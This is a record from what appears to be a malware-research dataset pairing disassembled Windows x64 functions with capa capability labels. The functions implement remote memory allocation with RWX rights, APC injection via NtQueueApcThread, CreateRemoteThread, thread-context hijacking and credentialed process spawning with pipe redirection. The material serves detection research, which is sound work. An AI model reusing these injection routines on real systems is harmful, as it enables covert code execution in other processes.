joyce8/EMBER2024-capa huggingface dataset:
Function at 0x18000fdac
Capabilities:
Resume thread
Terminate process

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x40
test byte [rcx + 0x20], 4
mov rbx, rcx
jne 0x18000fe19
mov rcx, qword [rcx]
lea rdx, [rsp + 0x20]
call fcn.18000c5d0
test eax, eax
je 0x18000fe19
mov rax, qword [rsp + 0x20]
or dword [rbx + 0x20], 4
mov rcx, rbx
mov qword [rbx], rax
call fcn.18000faf4
mov rcx, qword [rbx + 0x18]
lea rdx, [rsp + 0x20]
mov edi, eax
call fcn.18000fbf8
mov rcx, qword [rbx + 0x18]
test eax, eax
jne 0x18000fe0b
mov rcx, qword [rcx]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
xor eax, eax
jmp 0x18000fe21
mov rcx, qword [rcx + 8]
call qword [sym.imp.KERNEL32.dll_ResumeThread]
mov eax, edi
jmp 0x18000fe21
mov rcx, rbx
call fcn.18000faf4
mov rbx, qword [rsp + 0x50]
add rsp, 0x40
pop rdi
ret

Function at 0x18000fe2c
Capabilities:
Create process on windows
Create process suspended

Disassembly:
mov r11, rsp
push rbx
sub rsp, 0x60
mov rax, qword [rcx + 0x18]
mov rbx, rcx
mov r9d, 2
mov qword [r11 - 0x18], rax
mov rax, qword [rcx + 0x10]
mov qword [r11 - 0x20], rax
mov eax, dword [rcx + 0x20]
mov rcx, qword [0x180043830]
mov qword [r11 - 0x28], r8
and qword [r11 - 0x30], 0
mov r8, qword [0x180043838]
mov dword [rsp + 0x30], eax
mov qword [r11 - 0x40], rdx
mov rdx, qword [0x180043828]
and qword [r11 - 0x48], 0
call qword [sym.imp.ADVAPI32.dll_CreateProcessWithLogonW]
test eax, eax
je 0x18000fe8c
mov eax, 1
jmp 0x18000fea4
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov rdx, qword [rbx]
mov ecx, 0x45
mov r8d, eax
call fcn.18000dd70
xor eax, eax
add rsp, 0x60
pop rbx
ret
Function at 0x180010028
Capabilities:
Create a process with modified i/o handles and window
Create process on windows
Get common file path

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0xf0
mov r13, rcx
xor edi, edi
mov ecx, 0xa000
mov r15, r9
mov rbx, r8
mov r12, rdx
mov esi, edi
call fcn.180014214
mov edx, 0x4000
mov rcx, rax
mov rbp, rax
call fcn.180014370
mov edi, 0x400
mov rcx, rbp
mov edx, edi
mov qword [rsp + 0x68], rax
call fcn.180014370
mov edx, edi
mov rcx, rbp
mov qword [rsp + 0x60], rax
call fcn.180014370
mov edx, edi
mov rcx, rbp
mov qword [rsp + 0x70], rax
call fcn.180014370
mov edx, edi
mov rcx, rbp
mov qword [rsp + 0x78], rax
call fcn.180014370
lea r14d, [rsi + 0x68]
lea rcx, [rsp + 0x80]
mov r8d, r14d
xor edx, edx
mov rdi, rax
call fcn.180019ff0
xor eax, eax
mov dword [rsp + 0x80], r14d
mov r14, qword [rsp + 0x148]
lea rcx, [rsp + 0x80]
mov qword [r14], rax
mov qword [r14 + 8], rax
mov qword [r14 + 0x10], rax
call qword [sym.imp.KERNEL32.dll_GetStartupInfoA]
mov rdx, qword [rsp + 0x68]
xor eax, eax
mov r8d, 0x4000
mov rcx, r15
mov dword [rsp + 0xbc], 0x101
mov word [rsp + 0xc0], ax
mov qword [rsp + 0xd8], rax
mov qword [rsp + 0xe0], rax
mov qword [rsp + 0xd0], rax
mov qword [rsp + 0x90], rax
call fcn.18000f580
mov rdx, qword [rsp + 0x70]
mov r8d, 0x400
mov rcx, r12
call fcn.18000f580
mov rdx, qword [rsp + 0x78]
mov r8d, 0x400
mov rcx, rbx
call fcn.18000f580
mov rdx, qword [rsp + 0x60]
mov ebx, 0x400
mov r8d, ebx
mov rcx, r13
call fcn.18000f580
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetCurrentDirectoryW]
cmp eax, ebx
jae 0x180010195
mov rdx, rdi
mov ecx, ebx
call qword [sym.imp.KERNEL32.dll_GetCurrentDirectoryW]
mov rsi, rdi
mov eax, dword [rsp + 0x140]
mov r8, qword [rsp + 0x78]
mov rdx, qword [rsp + 0x60]
mov qword [rsp + 0x50], r14
xor edi, edi
or eax, 0x8000400
lea rcx, [rsp + 0x80]
lea ebx, [rdi + 1]
mov qword [rsp + 0x48], rcx
mov rcx, qword [rsp + 0x70]
mov qword [rsp + 0x40], rsi
mov qword [rsp + 0x38], rdi
mov dword [rsp + 0x30], eax
mov rax, qword [rsp + 0x68]
mov qword [rsp + 0x28], rax
mov r9d, ebx
mov qword [rsp + 0x20], rdi
call qword [sym.imp.ADVAPI32.dll_CreateProcessWithLogonW]
test eax, eax
jne 0x180010217
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rdx, str._s_as__s_s:__d
lea ecx, [rdi + 0x35]
mov dword [rsp + 0x28], eax
mov r9, r13
mov r8, r15
mov qword [rsp + 0x20], r12
call fcn.18000dc38
mov ebx, edi
mov rcx, rbp
call fcn.180014308
lea r11, [rsp + 0xf0]
mov eax, ebx
mov rbx, qword [r11 + 0x30]
mov rbp, qword [r11 + 0x38]
mov rsi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rdi
ret
Function at 0x180010558
Capabilities:
Read file on windows

Disassembly:
mov qword [rsp + 0x10], rbx
push rdi
sub rsp, 0x20
cmp dword [rcx + 4], 0
mov rdi, rdx
mov rbx, rcx
ja 0x18001054a
mov ecx, dword [rcx]
call sub.WS2_32.dll_htonl
mov edx, 4
lea rcx, [rsp + 0x30]
lea r8d, [rdx + 5]
mov dword [rsp + 0x30], eax
call rdi
mov rcx, qword [rbx + 8]
call fcn.18001af78
mov rbx, qword [rsp + 0x38]
add rsp, 0x20
pop rdi
ret
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r14
sub rsp, 0x20
xor esi, esi
mov r14d, r8d
mov rbp, rdx
cmp qword [0x18003f540], rsi
mov rbx, rcx
jne 0x180010596
mov ecx, 0x80004
call fcn.180019d3c
mov qword [0x18003f540], rax
mov ecx, dword [rbx]
call sub.WS2_32.dll_htonl
mov rcx, qword [0x18003f540]
mov dword [rcx], eax
mov edi, dword [rbx + 4]
cmp edi, r14d
cmova edi, r14d
test edi, edi
je 0x1800105e8
mov rax, qword [0x18003f540]
mov r9, qword [rbx + 8]
mov ecx, esi
add rax, 4
mov r8d, edi
mov edx, 1
add rcx, rax
call fcn.18001b7c0
test eax, eax
je 0x1800105e4
sub dword [rbx + 4], eax
add esi, eax
sub edi, eax
jne 0x1800105b4
jmp 0x1800105e8
and dword [rbx + 4], 0
mov rcx, qword [0x18003f540]
lea edx, [rsi + 4]
mov r8d, 8
call rbp
mov rdx, rbp
mov rcx, rbx
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
mov rdi, qword [rsp + 0x48]
add rsp, 0x20
pop r14
jmp 0x180010510
Function at 0x180010bd8
Capabilities:
Query environment variable

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x20
mov edi, r8d
mov rbp, rdx
xor r8d, r8d
xor edx, edx
mov rsi, rcx
call qword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsA]
mov ebx, eax
test eax, eax
jne 0x180010c0a
xor eax, eax
jmp 0x180010c2c
inc eax
cmp eax, edi
jae 0x180010c06
mov r8, rdi
xor edx, edx
mov rcx, rbp
call fcn.180019ff0
mov r8d, ebx
mov rdx, rbp
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsA]
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
add rsp, 0x20
pop rdi
ret

Function at 0x180010c44
Capabilities:
Get file attributes

Disassembly:
sub rsp, 0x28
call qword [sym.imp.KERNEL32.dll_GetFileAttributesA]
shr eax, 4
and eax, 1
add rsp, 0x28
ret

Function at 0x180010f98
Capabilities:
Connect pipe

Disassembly:
push rbx
sub rsp, 0x70
cmp qword [0x18003f558], 0
mov rbx, rcx
jne 0x180010fcf
lea r8, [0x18003f560]
lea rcx, [0x18003c030]
mov edx, 0x1000
call fcn.180010cdc
mov qword [0x18003f558], rax
test rax, rax
je 0x180011032
mov ecx, 0x29
call fcn.180018718
test eax, eax
je 0x180011032
cmp dword [0x180043810], 0
jg 0x180011032
call fcn.180010dd0
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
mov rcx, qword [0x18003f550]
mov qword [rsp + 0x58], rax
mov rax, qword [sym.imp.KERNEL32.dll_ConnectNamedPipe]
lea rdx, [rsp + 0x20]
mov qword [rsp + 0x50], rax
mov eax, dword [0x18003f560]
mov dword [rsp + 0x20], 2
add rax, qword [0x18003f558]
mov qword [rsp + 0x38], rbx
call rax
mov eax, 1
jmp 0x180011034
xor eax, eax
add rsp, 0x70
pop rbx
ret
Function at 0x1800114d0
Capabilities:
Create pipe

Disassembly:
mov rax, rsp
mov qword [rax + 8], rsi
mov qword [rax + 0x10], rdi
mov qword [rax + 0x18], r14
mov qword [rax + 0x20], r15
push rbp
lea rbp, [rax - 0x18]
sub rsp, 0x110
mov ecx, dword [rbp + 0x70]
mov rsi, r9
mov r14d, r8d
mov edi, edx
call fcn.180019478
mov r15d, 0x68
lea rcx, [rbp - 0x60]
xor edx, edx
mov r8d, r15d
call fcn.180019ff0
xor eax, eax
mov dword [rbp - 0x60], r15d
lea r8, [rsp + 0x68]
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x58]
xor r15d, r15d
mov r9d, 0x100000
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x48], rax
mov qword [rsp + 0x50], rax
mov dword [rsp + 0x68], 0x18
mov qword [rsp + 0x70], r15
mov dword [rsp + 0x78], 1
call qword [sym.imp.KERNEL32.dll_CreatePipe]
lea rcx, [rbp - 0x60]
call qword [sym.imp.KERNEL32.dll_GetStartupInfoA]
mov rax, qword [rsp + 0x60]
mov edx, dword [rbp + 0x70]
mov ecx, dword [rbp + 0x68]
lea r9, [rsp + 0x40]
lea r8, [rbp - 0x60]
mov qword [rbp - 8], rax
mov qword [rbp], rax
mov dword [rbp - 0x24], 0x101
mov word [rbp - 0x20], r15w
mov qword [rbp - 0x10], r15
call fcn.180018a38
test eax, eax
je 0x180011612
lea ecx, [r15 + 0x64]
call qword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [rbp + 0x50]
mov r8d, dword [rsp + 0x50]
mov rdx, qword [rsp + 0x40]
mov dword [rsp + 0x38], eax
mov rax, qword [rbp + 0x48]
mov qword [rsp + 0x30], rax
mov eax, dword [rbp + 0x40]
lea rcx, [rsp + 0x40]
mov r9, rsi
mov dword [rsp + 0x28], r14d
mov dword [rsp + 0x20], eax
call fcn.180011af0
test edi, edi
je 0x1800115e7
mov rcx, qword [rsp + 0x58]
mov edx, edi
call fcn.180012cc4
movups xmm0, xmmword [rsp + 0x40]
movsd xmm1, qword [rsp + 0x50]
mov r9, qword [rbp + 0x58]
mov r8, qword [rsp + 0x60]
mov rdx, qword [rsp + 0x58]
lea rcx, [rbp - 0x80]
movaps xmmword [rbp - 0x80], xmm0
movsd qword [rbp - 0x70], xmm1
call fcn.180012d38
mov ecx, dword [rbp + 0x70]
call fcn.1800194a8
lea r11, [rsp + 0x110]
mov rsi, qword [r11 + 0x10]
mov rdi, qword [r11 + 0x18]
mov r14, qword [r11 + 0x20]
mov r15, qword [r11 + 0x28]
mov rsp, r11
pop rbp
ret
Function at 0x180011d4c
Capabilities:
Allocate or change rwx memory

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
push rsi
push rdi
push r12
push r14
push r15
sub rsp, 0x30
lea rax, [fcn.180011d4c]
mov rbp, rcx
lea r15, [0x180011d00]
sub eax, r15d
xor r12d, r12d
mov rsi, r8
lea rcx, [rax + 0x20]
mov qword [rsp + 0x70], r12
lea edi, [rax + 0x20]
mov ebx, eax
call fcn.180019d3c
mov rcx, qword [rsi]
mov qword [rax], rcx
mov rcx, qword [rsi + 8]
mov r8d, ebx
mov qword [rax + 8], rcx
mov rcx, qword [rsi + 0x10]
mov rdx, r15
mov qword [rax + 0x10], rcx
mov rcx, qword [rsi + 0x18]
mov r14, rax
mov qword [rax + 0x18], rcx
lea rcx, [rax + 0x20]
call fcn.18001a330
mov r9d, 0x3000
mov r8d, edi
xor edx, edx
mov rcx, rbp
mov dword [rsp + 0x20], 0x40
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov rbx, rax
test rax, rax
je 0x180011e0c
lea rax, [rsp + 0x70]
mov r9d, edi
mov r8, r14
mov rdx, rbx
mov rcx, rbp
mov qword [rsp + 0x20], rax
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x180011e0c
cmp qword [rsp + 0x70], rdi
cmovne rbx, r12
mov rcx, r14
call fcn.180019cfc
mov rbp, qword [rsp + 0x68]
mov rax, rbx
mov rbx, qword [rsp + 0x60]
add rsp, 0x30
pop r15
pop r14
pop r12
pop rdi
pop rsi
ret
Function at 0x180011e30
Capabilities:
Enumerate threads

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push rbp
push r14
push r15
mov rbp, rsp
sub rsp, 0x70
mov rbx, rdx
xor edx, edx
mov rdi, r8
mov rsi, rcx
lea rcx, [rbp - 0x3c]
lea r8d, [rdx + 0x18]
call fcn.180019ff0
xor eax, eax
lea rcx, str.ntdll
and qword [rbp + 0x28], rax
mov qword [rbp - 0x18], rax
mov qword [rbp - 0x10], rax
mov qword [rbp - 8], rax
mov rax, qword [sym.imp.KERNEL32.dll_CreateThread]
and dword [rbp - 8], 0
mov qword [rbp - 0x10], rax
mov dword [rbp - 0x40], 0x1c
mov qword [rbp - 0x20], rbx
mov qword [rbp - 0x18], rdi
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
lea rdx, str.NtQueueApcThread
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov r15, rax
test rax, rax
je 0x180011fb9
mov edx, dword [rsi + 0x10]
mov rcx, qword [rsi]
lea r8, [rbp - 0x20]
call fcn.180011d4c
mov rbx, rax
test rax, rax
je 0x180011fb9
xor edx, edx
lea ecx, [rdx + 4]
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov rdi, rax
test rax, rax
je 0x180011fb9
lea rdx, [rbp - 0x40]
mov rcx, rax
call sub.KERNEL32.dll_Thread32First
test eax, eax
je 0x180011fb9
mov eax, dword [rsi + 0x10]
cmp dword [rbp - 0x34], eax
jne 0x180011f41
mov r8d, dword [rbp - 0x38]
xor edx, edx
mov ecx, 0x1fffff
call qword [sym.imp.KERNEL32.dll_OpenThread]
mov r14, rax
test rax, rax
je 0x180011f41
and qword [rsp + 0x20], 0
lea rdx, [rbx + 0x20]
xor r9d, r9d
mov r8, rbx
mov rcx, rax
call r15
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rdx, [rbp - 0x40]
mov rcx, rdi
call sub.KERNEL32.dll_Thread32Next
test eax, eax
jne 0x180011f01
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, 0xc8
call qword [sym.imp.KERNEL32.dll_Sleep]
mov rcx, qword [rsi]
lea rax, [rbp + 0x28]
mov edi, 0x20
lea r8, [rbp - 0x20]
mov rdx, rbx
mov r9d, edi
mov qword [rsp + 0x20], rax
call qword [sym.imp.KERNEL32.dll_ReadProcessMemory]
test eax, eax
je 0x180011fb9
cmp qword [rbp + 0x28], rdi
jne 0x180011fb9
cmp dword [rbp - 8], 0
jne 0x180011fd5
mov rcx, qword [rsi]
lea rax, [rbp + 0x28]
lea r8, [rbp - 0x20]
mov r9d, edi
mov rdx, rbx
mov qword [rsp + 0x20], rax
mov dword [rbp - 8], 1
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
xor eax, eax
lea r11, [rsp + 0x70]
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x30]
mov rdi, qword [r11 + 0x38]
mov rsp, r11
pop r15
pop r14
pop rbp
ret
mov eax, 1
jmp 0x180011fbb
Function at 0x180011fdc
Capabilities:
Resume thread

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x30
mov rdi, rcx
lea rcx, str.ntdll
mov rsi, r8
mov rbp, rdx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
lea rdx, str.NtQueueApcThread
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
xor ebx, ebx
test rax, rax
jne 0x180012021
xor eax, eax
jmp 0x18001204b
mov rcx, qword [rdi + 8]
xor r9d, r9d
mov r8, rsi
mov rdx, rbp
mov qword [rsp + 0x20], rbx
call rax
test eax, eax
jne 0x18001201d
mov rcx, qword [rdi + 8]
call qword [sym.imp.KERNEL32.dll_ResumeThread]
cmp eax, 0xffffffff
setne bl
mov eax, ebx
mov rbx, qword [rsp + 0x40]
mov rbp, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x50]
add rsp, 0x30
pop rdi
ret

Function at 0x180012060
Capabilities:
Create thread

Disassembly:
push rbx
sub rsp, 0x30
xor ebx, ebx
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x28], rbx
mov dword [rsp + 0x20], ebx
call qword [sym.imp.KERNEL32.dll_CreateThread]
test rax, rax
setne bl
mov eax, ebx
add rsp, 0x30
pop rbx
ret

Function at 0x18001208c
Capabilities:
Create thread

Disassembly:
push rbx
sub rsp, 0x40
xor ebx, ebx
mov r9, rdx
xor edx, edx
mov qword [rsp + 0x30], rbx
mov dword [rsp + 0x28], ebx
mov qword [rsp + 0x20], r8
xor r8d, r8d
call qword [sym.imp.KERNEL32.dll_CreateRemoteThread]
test rax, rax
setne bl
mov eax, ebx
add rsp, 0x40
pop rbx
ret

Function at 0x1800120c0
Capabilities:
Create thread
Resume thread

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r14
sub rsp, 0x510
mov edi, ecx
mov rcx, qword [rsp + 0x540]
mov rsi, r9
mov rbp, r8
mov r14, rdx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rdx, qword [rsp + 0x548]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
xor ebx, ebx
mov r8, rax
test rax, rax
jne 0x180012117
xor eax, eax
jmp 0x1800121ba
mov eax, dword [rsp + 0x550]
add r8, rax
sub edi, 6
je 0x18001214f
dec edi
jne 0x180012110
mov r9, r8
mov qword [rsp + 0x30], rbx
xor edx, edx
xor r8d, r8d
mov rcx, r14
mov dword [rsp + 0x28], 4
mov qword [rsp + 0x20], rsi
call qword [sym.imp.KERNEL32.dll_CreateRemoteThread]
jmp 0x180012169
mov r9, rsi
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x28], rbx
mov dword [rsp + 0x20], 4
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov rdi, rax
test rax, rax
je 0x180012110
lea rdx, [rsp + 0x40]
mov rcx, rax
mov dword [rsp + 0x70], 0x10000b
call qword [sym.imp.KERNEL32.dll_GetThreadContext]
test eax, eax
je 0x180012110
lea rdx, [rsp + 0x40]
mov rcx, rdi
mov qword [rsp + 0xc0], rbp
call qword [sym.imp.KERNEL32.dll_SetThreadContext]
test eax, eax
je 0x180012110
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_ResumeThread]
cmp eax, 0xffffffff
setne bl
mov eax, ebx
lea r11, [rsp + 0x510]
mov rbx, qword [r11 + 0x10]
mov rbp, qword [r11 + 0x18]
mov rsi, qword [r11 + 0x20]
mov rdi, qword [r11 + 0x28]
mov rsp, r11
pop r14
ret
Function at 0x1800121d8
Capabilities:
Allocate or change rwx memory

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x20
mov rsi, rcx
mov ecx, 0x2c
mov rdi, rdx
call fcn.180018780
mov ecx, 0x2b
movzx ebx, ax
call fcn.180018780
cmp ax, bx
je 0x180012242
mov ecx, 0x2c
call fcn.180018780
lea r9, [rsp + 0x40]
mov rdx, rdi
movzx r8d, ax
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x180012242
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, reloc.WS2_32.dll_recvfrom
mov edx, eax
call fcn.18000dc84
xor eax, eax
jmp 0x180012247
mov eax, 1
mov rbx, qword [rsp + 0x30]
mov rsi, qword [rsp + 0x38]
add rsp, 0x20
pop rdi
ret

Function at 0x1800124d0
Capabilities:
Allocate or change rwx memory

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
push rsi
push rdi
push r12
push r14
push r15
sub rsp, 0x40
mov r14, rcx
xor ebx, ebx
mov esi, r9d
lea ecx, [rbx + 0x2d]
mov r12, r8
call fcn.180018718
lea ecx, [rbx + 0x2b]
mov ebp, eax
cmp esi, eax
cmova ebp, esi
mov r15d, ebp
call fcn.180018780
mov r9d, 0x3000
movzx eax, ax
mov r8d, ebp
xor edx, edx
mov rcx, r14
mov dword [rsp + 0x20], eax
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov rdi, rax
test rax, rax
jne 0x180012548
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea ecx, [rbx + 0x1f]
mov edx, ebp
mov r8d, eax
call fcn.18000dc90
xor eax, eax
jmp 0x180012603
test esi, esi
jle 0x180012589
movsxd rcx, ebx
mov eax, esi
sub eax, ebx
lea r8, [rcx + r12]
lea rdx, [rcx + rdi]
movsxd r9, eax
lea rax, [rsp + 0x88]
mov rcx, r14
mov qword [rsp + 0x20], rax
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x1800125d8
mov eax, dword [rsp + 0x88]
add ebx, eax
test eax, eax
je 0x1800125ea
cmp ebx, esi
jl 0x18001254c
mov esi, 0x2c
mov ecx, esi
call fcn.180018780
lea ecx, [rsi - 1]
movzx ebx, ax
call fcn.180018780
cmp ax, bx
je 0x180012600
mov ecx, esi
call fcn.180018780
mov r8, r15
mov rdx, rdi
movzx r9d, ax
lea rax, [rsp + 0x30]
mov rcx, r14
mov qword [rsp + 0x20], rax
call qword [sym.imp.KERNEL32.dll_VirtualProtectEx]
test eax, eax
jne 0x180012600
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea ecx, [rsi - 0x1b]
jmp 0x1800125e3
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, reloc.WS2_32.dll_recv
mov edx, eax
call fcn.18000dc84
xor edx, edx
mov r8d, 0x8000
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualFree]
jmp 0x180012541
mov rax, rdi
mov rbx, qword [rsp + 0x70]
mov rbp, qword [rsp + 0x78]
add rsp, 0x40
pop r15
pop r14
pop r12
pop rdi
pop rsi
ret
Function at 0x1800126d0
Capabilities:
Resume thread

Disassembly:
cmp byte [rcx + 0x14], 0
mov rcx, qword [rcx + 8]
je 0x18001275c
jmp 0x1800126d0
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x4f0
mov rbp, rdx
lea rdx, [rsp + 0x20]
mov rsi, r8
mov rdi, rcx
mov dword [rsp + 0x50], 0x100002
call qword [sym.imp.KERNEL32.dll_GetThreadContext]
xor ebx, ebx
test eax, eax
jne 0x18001270d
xor eax, eax
jmp 0x180012740
lea rdx, [rsp + 0x20]
mov rcx, rdi
mov qword [rsp + 0xa0], rbp
mov qword [rsp + 0xa8], rsi
call qword [sym.imp.KERNEL32.dll_SetThreadContext]
test eax, eax
je 0x180012709
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_ResumeThread]
cmp eax, 0xffffffff
setne bl
mov eax, ebx
lea r11, [rsp + 0x4f0]
mov rbx, qword [r11 + 0x10]
mov rbp, qword [r11 + 0x18]
mov rsi, qword [r11 + 0x20]
mov rsp, r11
pop rdi
ret
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x2f0
xor ebx, ebx
mov rsi, rdx
mov rdi, rcx
test r8, r8
je 0x18001277f
xor eax, eax
jmp 0x1800127c0
lea rdx, [rsp + 0x20]
mov dword [rsp + 0x20], 0x100002
call qword [sym.imp.KERNEL32.dll_Wow64GetThreadContext]
test eax, eax
je 0x18001277b
lea rdx, [rsp + 0x20]
mov rcx, rdi
mov dword [rsp + 0xd0], esi
call qword [sym.imp.KERNEL32.dll_Wow64SetThreadContext]
test eax, eax
je 0x18001277b
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_ResumeThread]
cmp eax, 0xffffffff
setne bl
mov eax, ebx
lea r11, [rsp + 0x2f0]
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x18]
mov rsp, r11
pop rdi
ret

Function at 0x18001275c
Capabilities:
Resume thread

Disassembly:
cmp byte [rcx + 0x14], 0
mov rcx, qword [rcx + 8]
je 0x18001275c
jmp 0x1800126d0
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x4f0
mov rbp, rdx
lea rdx, [rsp + 0x20]
mov rsi, r8
mov rdi, rcx
mov dword [rsp + 0x50], 0x100002
call qword [sym.imp.KERNEL32.dll_GetThreadContext]
xor ebx, ebx
test eax, eax
jne 0x18001270d
xor eax, eax
jmp 0x180012740
lea rdx, [rsp + 0x20]
mov rcx, rdi
mov qword [rsp + 0xa0], rbp
mov qword [rsp + 0xa8], rsi
call qword [sym.imp.KERNEL32.dll_SetThreadContext]
test eax, eax
je 0x180012709
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_ResumeThread]
cmp eax, 0xffffffff
setne bl
mov eax, ebx
lea r11, [rsp + 0x4f0]
mov rbx, qword [r11 + 0x10]
mov rbp, qword [r11 + 0x18]
mov rsi, qword [r11 + 0x20]
mov rsp, r11
pop rdi
ret
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x2f0
xor ebx, ebx
mov rsi, rdx
mov rdi, rcx
test r8, r8
je 0x18001277f
xor eax, eax
jmp 0x1800127c0
lea rdx, [rsp + 0x20]
mov dword [rsp + 0x20], 0x100002
call qword [sym.imp.KERNEL32.dll_Wow64GetThreadContext]
test eax, eax
je 0x18001277b
lea rdx, [rsp + 0x20]
mov rcx, rdi
mov dword [rsp + 0xd0], esi
call qword [sym.imp.KERNEL32.dll_Wow64SetThreadContext]
test eax, eax
je 0x18001277b
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_ResumeThread]
cmp eax, 0xffffffff
setne bl
mov eax, ebx
lea r11, [rsp + 0x2f0]
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x18]
mov rsp, r11
pop rdi
ret
Function at 0x180012fdc
Capabilities:
Read file on windows
Read pipe

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
push rdi
sub rsp, 0x40
and dword [rax + 0x20], 0
lea rax, [rax - 0x18]
mov edi, r8d
mov rbp, rdx
xor ebx, ebx
xor r9d, r9d
and qword [rax - 8], rbx
xor r8d, r8d
xor edx, edx
mov qword [rsp + 0x20], rax
mov rsi, rcx
call qword [sym.imp.KERNEL32.dll_PeekNamedPipe]
test eax, eax
jne 0x180013023
or eax, 0xffffffff
jmp 0x180013083
cmp dword [rsp + 0x30], ebx
jbe 0x180013081
cmp ebx, edi
jae 0x180013081
and qword [rsp + 0x20], 0
mov r8d, edi
lea r9, [rsp + 0x68]
sub r8d, ebx
mov rdx, rbp
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_ReadFile]
mov eax, dword [rsp + 0x68]
and qword [rsp + 0x28], 0
add ebx, dword [rsp + 0x68]
add rbp, rax
lea rax, [rsp + 0x30]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov rcx, rsi
mov qword [rsp + 0x20], rax
call qword [sym.imp.KERNEL32.dll_PeekNamedPipe]
test eax, eax
je 0x18001301e
cmp dword [rsp + 0x30], 0
ja 0x180013029
mov eax, ebx
mov rbx, qword [rsp + 0x50]
mov rbp, qword [rsp + 0x58]
mov rsi, qword [rsp + 0x60]
add rsp, 0x40
pop rdi
ret